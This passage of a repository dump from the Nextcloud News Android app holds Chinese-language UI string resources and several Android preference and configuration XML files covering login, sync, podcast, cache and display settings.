name=\"hint_folder_name\">資料夾名稱</string>\n    <string name=\"folder_already_exists\">資料夾已存在</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">手動登入</string>\n    <string name=\"login_sso\">使用 Nextcloud Files 應用程式登入</string>\n    <string name=\"pref_title_username\">用戶名稱</string>\n    <string name=\"pref_title_password\">密碼</string>\n    <string name=\"pref_title_owncloudRootPath\">NextCloud 根目錄</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">登入</string>\n    <string name=\"login_progress_signing_in\">登入中 …</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">此欄位為必填</string>\n    <string name=\"error_invalid_url\">錯誤的網路連結</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"other\">將 %d 個項目標記為已讀</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"other\">已下載 %d 個舊項目</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">已經載入所有項目</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"other\">目前已取得 %d 項 …</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">設定</string>\n    <string name=\"cache_is_cleared\">快取已清除</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">一般</string>\n    <string name=\"pref_title_general_sort_order\">排序依據</string>\n\n    <string name=\"pref_general_sort_order_new_old\">新 → 舊</string>\n    <string name=\"pref_general_sort_order_old_new\">舊 → 新</string>\n\n    <string name=\"pref_rename_action_swipe_right\">向右滑時的操作</string>\n    <string name=\"pref_rename_action_swipe_left\">向左滑時的操作</string>\n\n    <string name=\"pref_title_general_search_in\">搜尋</string>\n\n    <string name=\"pref_general_search_in_title\">標題</string>\n    <string name=\"pref_general_search_in_body\">內文</string>\n    <string name=\"pref_general_search_in_both\">皆是</string>\n\n    <string name=\"dialog_clearing_cache\">正在清除快取</string>\n    <string name=\"dialog_clearing_cache_please_wait\">正在清除快取。請稍候 …</string>\n    <string name=\"reset_cache_unsaved_changes\">有未同步的更動，您仍然要重設快取嗎？</string>\n    <string name=\"warning\">警告</string>\n    <string name=\"pref_title_AutoSyncOnStart\">啟動時同步</string>\n    <string name=\"pref_title_ShowOnlyUnread\">只顯示未讀的條目</string>\n    <string name=\"pref_title_DisableHostnameVerification\">停用主機名稱檢驗</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">用音量鍵瀏覽</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">當滾動時標為已讀</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">捲動至底部時同步</string>\n    <string name=\"pref_title_ShowFastActions\">啟動快速存取功能</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">略過詳細檢視，並在瀏覽器開啟文章</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">返回按鈕開啟隱藏式側邊選單</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">允許未知憑證？</string>\n    <string name=\"mtm_decision_always\">總是</string>\n    <string name=\"mtm_decision_abort\">中斷</string>\n    <string name=\"mtm_notification\">憑證驗證</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">未選擇任何播客 (podcast)</string>\n    <string name=\"no_chapters_available\">沒有章節</string>\n    <string name=\"exit_playback\">退出播放器</string>\n    <string name=\"podcast_playback_speed_dialog_title\">播放速度</string>\n    <string name=\"notification_downloading_podcast_title\">正在下載音訊資料</string>\n    <string name=\"dialog_podcast_remove_title\">你確定嗎？</string>\n    <string name=\"dialog_podcast_remove_body\">您是否要刪除 %1$s 的已下載媒體？</string>\n    <string name=\"dialog_podcast_status_failed\">無法刪除 %1$s 的媒體</string>\n    <string name=\"dialog_podcast_status_success\">已成功刪除 %1$s 的媒體</string>\n    <string name=\"dialog_podcast_remove_confirm\">移除</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">關於</string>\n    <string name=\"pref_license\">授權</string>\n    <string name=\"pref_license_summary\">GNU Affero 通用公眾授權條款（GNU AGPL）第 3 版</string>\n    <string name=\"pref_report_issue\">舉報問題</string>\n    <string name=\"pref_report_issue_summary\">需要一個（免費的）GitHub 帳戶</string>\n    <string name=\"pref_contribute\">貢獻</string>\n    <string name=\"pref_contribute_summary\">取得原始碼</string>\n    <string name=\"pref_privacy\">隱私</string>\n    <string name=\"pref_privacy_summary\">Nextcloud 新聞 Android 隱私政策</string>\n    <string name=\"pref_news_policy\">聯絡我們 / 新聞政策</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud 新聞 Android 新聞政策 / 聯絡我們</string>\n    <string name=\"pref_version\">Nextcloud News Android 應用程式</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">顯示</string>\n    <string name=\"pref_title_app_theme\">佈景主題</string>\n    <string name=\"pref_title_feed_list_layout\">Feed 清單版型</string>\n    <string name=\"pref_title_font_size\">字型大小</string>\n    <string name=\"pref_display_browser\">瀏覽器</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">操作圖示（詳細檢視）</string>\n\n    <string name=\"pref_display_apptheme_auto\">系統預設</string>\n    <string name=\"pref_display_apptheme_light\">淺色</string>\n    <string name=\"pref_display_apptheme_dark\">深色</string>\n\n    <string name=\"pref_oled_mode\">黑色背景</string>\n    <string name=\"pref_oled_mode_summary\">供 OLED 螢幕使用的暗黑主題</string>\n\n    <string name=\"pref_detailed_view_zoom\">詳細資訊檢視縮放</string>\n    <string name=\"pref_detailed_view_zoom_summary\">啟用詳細檢視中的內容縮放功能</string>\n\n    <string name=\"pref_external_player\">外部播放器</string>\n    <string name=\"pref_external_player_summary\">在您的默認媒體應用程式中播放播客</string>\n\n    <string name=\"pref_display_browser_cct\">內建 Chrome 自訂分頁</string>\n    <string name=\"pref_display_browser_built_in\">內建瀏覽器</string>\n    <string name=\"pref_display_browser_external\">外部瀏覽器</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">縮略圖（僅標題）</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">縮圖</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">簡單文字</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">標題</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">全文</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Web 版面配置</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">卡片檢視</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">小</string>\n    <string name=\"pref_display_font_size_d\">預設</string>\n    <string name=\"pref_display_font_size_l\">大</string>\n    <string name=\"pref_display_font_size_xl\">特大</string>\n\n    <string name=\"content_desc_play\">播放</string>\n    <string name=\"content_desc_pause\">暫停</string>\n    <string name=\"content_desc_playback_speed\">播放速度</string>\n    <string name=\"content_desc_rewind\">倒帶</string>\n    <string name=\"content_desc_forward\">轉寄</string>\n    <string name=\"content_desc_expand\">展開</string>\n    <string name=\"content_desc_collapse\">收合</string>\n    <string name=\"content_desc_mark_as_read\">標為已讀</string>\n    <string name=\"content_desc_mark_as_unread\">標為未讀</string>\n    <string name=\"content_desc_tap_to_refresh\">輕觸以更新</string>\n    <string name=\"content_desc_add_to_favorites\">新增收藏</string>\n    <string name=\"content_desc_remove_from_favorites\">從最愛中移除</string>\n    <string name=\"content_desc_show_password\">顯示密碼</string>\n    <string name=\"content_desc_delete\">刪除</string>\n    <string name=\"content_desc_download\">下載</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">錯誤</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">似乎您未在伺服器安裝或啟動您的 News App。請遵循此處提示，先在您的伺服器安裝 News App：%1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">發生錯誤了：（</string>\n    <string name=\"login_dialog_text_zero_version_code\">網頁 News App 回傳版本為「0」。請看看下述錯誤舉報：https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">此 App 版本與您的Nextcloud News App 不兼容，請更新 Nextcloud News 應用程式和 appframework</string>\n    <string name=\"login_dialog_title_security_warning\">安全性警告</string>\n    <string name=\"login_dialog_text_security_warning\">您不是使用 HTTPS，攻擊者可能攔截您的通訊，進而取得敏感資料（例如您的密碼）</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">發生錯誤，請重試。</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">資料 &amp; 同步</string>\n    <string name=\"pref_title_clearCache\">清除快取</string>\n    <string name=\"pref_title_CacheImagesOffline\">緩存離線圖片</string>\n    <string name=\"pref_title_Max_Cache_Size\">最大快取容量</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">絕不</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">只透過 WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">透過 Wi-Fi 和流動網路</string>\n    <string name=\"pref_data_sync_image_cache_ask\">當未連接到 WiFi 時詢問</string>\n\n    <string name=\"array_sync_interval_min_0\">絕不</string>\n    <string name=\"array_sync_interval_min_5\">5分鐘</string>\n    <string name=\"array_sync_interval_min_15\">15分鐘</string>\n    <string name=\"array_sync_interval_min_30\">30分鐘</string>\n    <string name=\"array_sync_interval_min_45\">45分鐘</string>\n    <string name=\"array_sync_interval_hour_1\">1 小時</string>\n    <string name=\"array_sync_interval_hour_2\">2小時</string>\n    <string name=\"array_sync_interval_hour_3\">3小時</string>\n    <string name=\"array_sync_interval_hour_6\">6小時</string>\n    <string name=\"array_sync_interval_hour_12\">12小時</string>\n    <string name=\"array_sync_interval_hour_24\">24小時</string>\n    <string name=\"switch_account\">切換賬號</string>\n    \n    <string name=\"successfully_exported\">成功導出到：</string>\n    <string name=\"opml_export\">導出 OPML</string>\n    <string name=\"parsing_opml\">分析 OPML …</string>\n    <string name=\"please_wait\">請稍候 …</string>\n    <string name=\"interval_sync_title\">間隔同步</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-zh-rTW/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">自動同步</string>\n    <string name=\"title_activity_sync_interval_selector\">同步時間間隔</string>\n    <string name=\"empty_view_content\">無任何項目</string>\n    <string name=\"empty_view_content_action\">下拉以更新</string>\n    <string name=\"toast_GettingMoreItems\">已開始下載更多項目。請稍候……</string>\n    <string name=\"no_wifi_available\">WiFi 未連線</string>\n    <string name=\"do_you_want_to_download_without_wifi\">您想要在沒有 Wi-Fi 連線的情況下下載影像嗎？</string>\n    <string name=\"current_version\">您在使用版本 %s</string>\n    <string name=\"widget_header\">Nextcloud 新聞</string>\n    <string name=\"message_bar_scroll_top\">重新載入並捲動至頂部</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"other\">%d 個新的項目</item>\n    </plurals>\n    <string name=\"message_bar_reload\">重新載入</string>\n    <string name=\"allUnreadFeeds\">所有未閱讀項目</string>\n    <string name=\"starredFeeds\">星號項目</string>\n    <string name=\"downloadedPodcasts\">下載 podcast</string>\n    <string name=\"title_activity_new_feed\">加入新訂閱</string>\n\n    <string name=\"menu_update\">重新整理</string>\n    <string name=\"menu_markAllAsRead\">全部標示為已閱讀</string>\n    <string name=\"menu_StartImageCaching\">下載圖片</string>\n    <string name=\"menu_downloadMoreItems\">下載更多項目</string>\n\n    <string name=\"tv_showing_cached_version\">顯示快取的版本</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">星號</string>\n    <string name=\"action_read\">已讀</string>\n    <string name=\"action_playPodacst\">播放 Podcast</string>\n    <string name=\"action_removePodcast\">移除 podcast 媒體</string>\n    <string name=\"action_openInBrowser\">用瀏覽器開啟</string>\n    <string name=\"action_Share\">分享</string>\n    <string name=\"action_login\">伺服器設定</string>\n    <string name=\"action_save\">儲存</string>\n    <string name=\"action_settings\">設定</string>\n    <string name=\"action_sync_settings\">同步設定</string>\n    <string name=\"action_add_new_feed\">加入新訂閱</string>\n    <string name=\"action_add_new_folder\">添加新資料夾</string>\n    <string name=\"action_textToSpeech\">讀出</string>\n    <string name=\"action_search\">搜尋</string>\n    <string name=\"action_download_articles_offline\">下載離線文章</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">下載文章供離線使用</string>\n    <string name=\"notification_download_images_offline\">下載影像供離線使用</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"other\">您有 %d 個新的未讀項目</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"other\">%d 個新的未讀項目</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Feed URL</string>\n    <string name=\"action_add_feed\">新增訂閱</string>\n    <string name=\"import_opml\">匯入OPML格式</string>\n    <string name=\"export_opml\">匯出OPML格式</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">下載圖片</string>\n    <string name=\"action_img_sharelink\">分享圖片連結</string>\n    <string name=\"action_img_open\">在瀏覽器中開啟圖片</string>\n    <string name=\"action_img_copylink\">複製圖片連結</string>\n    <string name=\"action_link_share\">分享連結</string>\n    <string name=\"action_link_open\">在瀏覽器中打開連結</string>\n    <string name=\"action_link_copy\">複製連結</string>\n    <string name=\"toast_img_download_wait\">正在下載。請稍候……</string>\n    <string name=\"toast_img_saved\">圖片已儲存</string>\n    <string name=\"toast_img_notwriteable\">寫入圖片失敗</string>\n    <string name=\"toast_copied_to_clipboard\">複製至剪貼簿</string>\n    <string name=\"error_download_failed\">下載失敗</string>\n    <string name=\"intent_title_share\">分享到</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">移除 Feed</string>\n    <string name=\"action_feed_rename\">重新命名 Feed</string>\n    <string name=\"action_feed_move\">移動摘要</string>\n    <string name=\"action_feed_notification_settings\">通知設定</string>\n    <string name=\"action_feed_open_in\">「開啟於」設定</string>\n    <string name=\"action_feed_open_in_general_setting\">使用一般設定</string>\n    <string name=\"action_feed_open_in_detailed_view\">詳細資訊檢視</string>\n    <string name=\"feed_remove_button\">移除</string>\n    <string name=\"feed_rename_button\">重新命名</string>\n    <string name=\"confirm_feed_remove\">您真的要移除這個 Feed 嗎？此動作無法復原</string>\n    <string name=\"feed_move_list_description\">選擇要移動摘要至的資料夾</string>\n    <string name=\"move_feed_root_folder\">根目錄</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">移除資料夾</string>\n    <string name=\"action_folder_rename\">重新命名資料夾</string>\n    <string name=\"folder_remove_button\">移除</string>\n    <string name=\"folder_rename_button\">重新命名</string>\n    <string name=\"confirm_folder_remove\">您真的要移除此資料夾嗎？此操作無法復原！</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">接收此 feed 的個別通知</string>\n    <string name=\"notification_feed_default\">所有預設設定的 feed 都會顯示在同一個通知中</string>\n    <string name=\"notification_feed_none\">完全沒有通知</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">新增</string>\n    <string name=\"hint_folder_name\">資料夾名稱</string>\n    <string name=\"folder_already_exists\">資料夾已存在</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">手動登入</string>\n    <string name=\"login_sso\">使用 Nextcloud Files 應用程式登入</string>\n    <string name=\"pref_title_username\">使用者名稱</string>\n    <string name=\"pref_title_password\">密碼</string>\n    <string name=\"pref_title_owncloudRootPath\">NextCloud 根目錄</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">登入</string>\n    <string name=\"login_progress_signing_in\">正在登入……</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">此欄位為必填</string>\n    <string name=\"error_invalid_url\">錯誤的網路連結</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"other\">將 %d 個項目標記為已讀</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"other\">已下載 %d 個舊項目</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">已經載入所有項目</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"other\">目前已擷取 %d 項……</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">設定</string>\n    <string name=\"cache_is_cleared\">快取已清除</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">一般</string>\n    <string name=\"pref_title_general_sort_order\">排序依據</string>\n\n    <string name=\"pref_general_sort_order_new_old\">新 → 舊</string>\n    <string name=\"pref_general_sort_order_old_new\">舊 → 新</string>\n\n    <string name=\"pref_rename_action_swipe_right\">往右滑的動作</string>\n    <string name=\"pref_rename_action_swipe_left\">往左滑的動作</string>\n\n    <string name=\"pref_title_general_search_in\">搜尋</string>\n\n    <string name=\"pref_general_search_in_title\">標題</string>\n    <string name=\"pref_general_search_in_body\">內文</string>\n    <string name=\"pref_general_search_in_both\">皆是</string>\n\n    <string name=\"dialog_clearing_cache\">正在清除快取</string>\n    <string name=\"dialog_clearing_cache_please_wait\">正在清除快取。請稍候……</string>\n    <string name=\"reset_cache_unsaved_changes\">有未同步的更動，您仍然要重設快取嗎？</string>\n    <string name=\"warning\">警告</string>\n    <string name=\"pref_title_AutoSyncOnStart\">啟動時同步</string>\n    <string name=\"pref_title_ShowOnlyUnread\">只顯示未讀的條目</string>\n    <string name=\"pref_title_DisableHostnameVerification\">停用主機名稱檢驗</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">用音量鍵瀏覽</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">當滾動時標為已讀</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">捲動至底部時同步</string>\n    <string name=\"pref_title_ShowFastActions\">啟用快速存取功能</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">略過詳細檢視，並在瀏覽器開啟文章</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">返回按鈕開啟隱藏式側邊選單</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">允許未知憑證？</string>\n    <string name=\"mtm_decision_always\">總是</string>\n    <string name=\"mtm_decision_abort\">中斷</string>\n    <string name=\"mtm_notification\">憑證驗證</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">沒有選擇 podcast</string>\n    <string name=\"no_chapters_available\">沒有章節</string>\n    <string name=\"exit_playback\">退出播放器</string>\n    <string name=\"podcast_playback_speed_dialog_title\">播放速度</string>\n    <string name=\"notification_downloading_podcast_title\">正在下載音訊資料</string>\n    <string name=\"dialog_podcast_remove_title\">您確定嗎？</string>\n    <string name=\"dialog_podcast_remove_body\">您是否要移除 %1$s 的已下載媒體？</string>\n    <string name=\"dialog_podcast_status_failed\">移除 %1$s 的媒體失敗</string>\n    <string name=\"dialog_podcast_status_success\">已移除 %1$s 的媒體</string>\n    <string name=\"dialog_podcast_remove_confirm\">移除</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">關於</string>\n    <string name=\"pref_license\">授權</string>\n    <string name=\"pref_license_summary\">GNU Affero 通用公眾授權條款 (GNU AGPL) 第 3 版</string>\n    <string name=\"pref_report_issue\">回報問題</string>\n    <string name=\"pref_report_issue_summary\">需要一個 (免費的) GitHub 帳戶</string>\n    <string name=\"pref_contribute\">貢獻</string>\n    <string name=\"pref_contribute_summary\">取得原始碼</string>\n    <string name=\"pref_privacy\">隱私</string>\n    <string name=\"pref_privacy_summary\">Nextcloud 新聞 Android 隱私政策</string>\n    <string name=\"pref_news_policy\">聯絡我們 / 新聞政策</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud 新聞 Android 新聞政策 / 聯絡我們</string>\n    <string name=\"pref_version\">Nextcloud News Android 應用程式</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">顯示</string>\n    <string name=\"pref_title_app_theme\">佈景主題</string>\n    <string name=\"pref_title_feed_list_layout\">Feed 清單版型</string>\n    <string name=\"pref_title_font_size\">字型大小</string>\n    <string name=\"pref_display_browser\">瀏覽器</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">動作圖示 (詳細檢視)</string>\n\n    <string name=\"pref_display_apptheme_auto\">系統預設</string>\n    <string name=\"pref_display_apptheme_light\">亮色</string>\n    <string name=\"pref_display_apptheme_dark\">暗色</string>\n\n    <string name=\"pref_oled_mode\">黑色背景</string>\n    <string name=\"pref_oled_mode_summary\">供 OLED 螢幕使用的暗黑主題</string>\n\n    <string name=\"pref_detailed_view_zoom\">詳細資訊檢視縮放</string>\n    <string name=\"pref_detailed_view_zoom_summary\">啟用詳細檢視中的內容縮放功能</string>\n\n    <string name=\"pref_external_player\">外部播放程式</string>\n    <string name=\"pref_external_player_summary\">在您預設的媒體應用程式播放 podcast</string>\n\n    <string name=\"pref_display_browser_cct\">內建 Chrome 自訂分頁</string>\n    <string name=\"pref_display_browser_built_in\">內建瀏覽器</string>\n    <string name=\"pref_display_browser_external\">外部瀏覽器</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">縮圖 (只有頭條)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">縮圖</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">簡單文字</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">標題</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">全文</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Web 版面配置</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">卡片檢視</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">小</string>\n    <string name=\"pref_display_font_size_d\">預設</string>\n    <string name=\"pref_display_font_size_l\">大</string>\n    <string name=\"pref_display_font_size_xl\">特大</string>\n\n    <string name=\"content_desc_play\">播放</string>\n    <string name=\"content_desc_pause\">暫停</string>\n    <string name=\"content_desc_playback_speed\">播放速度</string>\n    <string name=\"content_desc_rewind\">倒帶</string>\n    <string name=\"content_desc_forward\">轉貼</string>\n    <string name=\"content_desc_expand\">展開</string>\n    <string name=\"content_desc_collapse\">收合</string>\n    <string name=\"content_desc_mark_as_read\">標為已讀</string>\n    <string name=\"content_desc_mark_as_unread\">標為未讀</string>\n    <string name=\"content_desc_tap_to_refresh\">輕觸以更新</string>\n    <string name=\"content_desc_add_to_favorites\">新增至最愛</string>\n    <string name=\"content_desc_remove_from_favorites\">從最愛中移除</string>\n    <string name=\"content_desc_show_password\">顯示密碼</string>\n    <string name=\"content_desc_delete\">刪除</string>\n    <string name=\"content_desc_download\">下載</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">錯誤</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">似乎您未在伺服器安裝或啟用您的 News App。請遵循此處提示，先在您的伺服器安裝 News App：%1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">發生錯誤了 :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">網頁 News App 回傳版本為「0」。請看看下述臭蟲回報：https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">此 App 版本不相容您的 Nextcloud News 應用程式，請更新 Nextcloud News應用程式和 appframework</string>\n    <string name=\"login_dialog_title_security_warning\">安全性警告</string>\n    <string name=\"login_dialog_text_security_warning\">您不是使用 HTTPS，攻擊者可能攔截您的通訊，進而取得敏感資料（例如您的密碼）</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">出了點問題。請再試一次。</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">資料 &amp; 同步</string>\n    <string name=\"pref_title_clearCache\">清除快取</string>\n    <string name=\"pref_title_CacheImagesOffline\">暫存離線圖片</string>\n    <string name=\"pref_title_Max_Cache_Size\">最大快取容量</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">絕不</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">只透過 WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">透過 Wi-Fi 和行動網路</string>\n    <string name=\"pref_data_sync_image_cache_ask\">當未連接到 WiFi 時詢問</string>\n\n    <string name=\"array_sync_interval_min_0\">絕不</string>\n    <string name=\"array_sync_interval_min_5\">5 分鐘</string>\n    <string name=\"array_sync_interval_min_15\">15 分鐘</string>\n    <string name=\"array_sync_interval_min_30\">30 分鐘</string>\n    <string name=\"array_sync_interval_min_45\">45 分鐘</string>\n    <string name=\"array_sync_interval_hour_1\">1 小時</string>\n    <string name=\"array_sync_interval_hour_2\">2 小時</string>\n    <string name=\"array_sync_interval_hour_3\">3 小時</string>\n    <string name=\"array_sync_interval_hour_6\">6 小時</string>\n    <string name=\"array_sync_interval_hour_12\">12 小時</string>\n    <string name=\"array_sync_interval_hour_24\">24 小時</string>\n    <string name=\"switch_account\">切換帳號</string>\n    \n    <string name=\"successfully_exported\">成功匯出至：</string>\n    <string name=\"opml_export\">OPML 匯出</string>\n    <string name=\"parsing_opml\">剖析 OPML</string>\n    <string name=\"please_wait\">請稍候……</string>\n    <string name=\"interval_sync_title\">間隔同步</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/xml/account_preferences.xml",
    "content": "<PreferenceScreen\n\txmlns:android=\"http://schemas.android.com/apk/res/android\">\n\n\t<PreferenceCategory\n\t    android:title=\"Sync Settings\" />\n\n    <PreferenceScreen\n        android:key=\"account_sync_interval\"\n        android:title=\"Sync Interval\"\n        android:summary=\"Set the sync interval\">\n        <intent\n            android:action=\"de.luhmer.owncloudnewsreader.ACCOUNT_MANAGER_ENTRY\" />\n    </PreferenceScreen>\n</PreferenceScreen>"
  },
  {
    "path": "News-Android-App/src/main/res/xml/authenticator.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<account-authenticator xmlns:android=\"http://schemas.android.com/apk/res/android\"\n                        android:accountType=\"@string/account_type\"\n                        android:icon=\"@mipmap/ic_launcher\"\n                        android:smallIcon=\"@mipmap/ic_launcher\"\n                        android:label=\"@string/app_name\"\n                        android:accountPreferences=\"@xml/account_preferences\" />\n"
  },
  {
    "path": "News-Android-App/src/main/res/xml/automotive_app_desc.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<automotiveApp>\n    <uses name=\"media\"/>\n</automotiveApp>"
  },
  {
    "path": "News-Android-App/src/main/res/xml/file_provider_paths.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<paths>\n    <external-path\n        name=\"external_files\" path=\".\" />\n</paths>"
  },
  {
    "path": "News-Android-App/src/main/res/xml/pref_about.xml",
    "content": "<androidx.preference.PreferenceScreen xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\">\n\n    <PreferenceCategory\n        app:title=\"@string/pref_header_about\"\n        app:iconSpaceReserved=\"false\">\n\n        <Preference\n            android:key=\"cb_license\"\n            android:title=\"@string/pref_license\"\n            android:summary=\"@string/pref_license_summary\"\n            app:iconSpaceReserved=\"false\">\n\n            <intent\n                android:action=\"android.intent.action.VIEW\"\n                android:data=\"https://www.gnu.org/licenses/license-list.html#AGPLv3.0\" />\n        </Preference>\n\n        <Preference\n            android:key=\"cb_reportIssue\"\n            android:title=\"@string/pref_report_issue\"\n            android:summary=\"@string/pref_report_issue_summary\"\n            app:iconSpaceReserved=\"false\">\n\n            <!--\n            <intent\n                android:action=\"android.intent.action.VIEW\"\n                android:data=\"https://github.com/nextcloud/news-android/issues\" />\n            -->\n        </Preference>\n\n        <Preference\n            android:key=\"cb_contribute\"\n            android:title=\"@string/pref_contribute\"\n            android:summary=\"@string/pref_contribute_summary\"\n            app:iconSpaceReserved=\"false\">\n\n            <intent\n                android:action=\"android.intent.action.VIEW\"\n                android:data=\"https://github.com/nextcloud/news-android\" />\n        </Preference>\n\n        <Preference\n            android:key=\"cb_privacy\"\n            android:title=\"@string/pref_privacy\"\n            android:summary=\"@string/pref_privacy_summary\"\n            app:iconSpaceReserved=\"false\">\n\n            <intent\n                android:action=\"android.intent.action.VIEW\"\n                android:data=\"https://github.com/nextcloud/news-android/blob/master/PRIVACY.md\" />\n        </Preference>\n\n        <Preference\n            android:key=\"cb_news_policy\"\n            android:summary=\"@string/pref_news_policy_summary\"\n            android:title=\"@string/pref_news_policy\"\n            app:iconSpaceReserved=\"false\">\n\n            <intent\n                android:action=\"android.intent.action.VIEW\"\n                android:data=\"https://github.com/nextcloud/news-android/blob/master/NEWS-POLICY.md\" />\n        </Preference>\n\n        <Preference\n            android:key=\"cb_version\"\n            android:title=\"@string/pref_version\"\n            android:summary=\"@string/current_version\"\n            app:iconSpaceReserved=\"false\"></Preference>\n\n    </PreferenceCategory>\n\n</androidx.preference.PreferenceScreen>"
  },
  {
    "path": "News-Android-App/src/main/res/xml/pref_data_sync.xml",
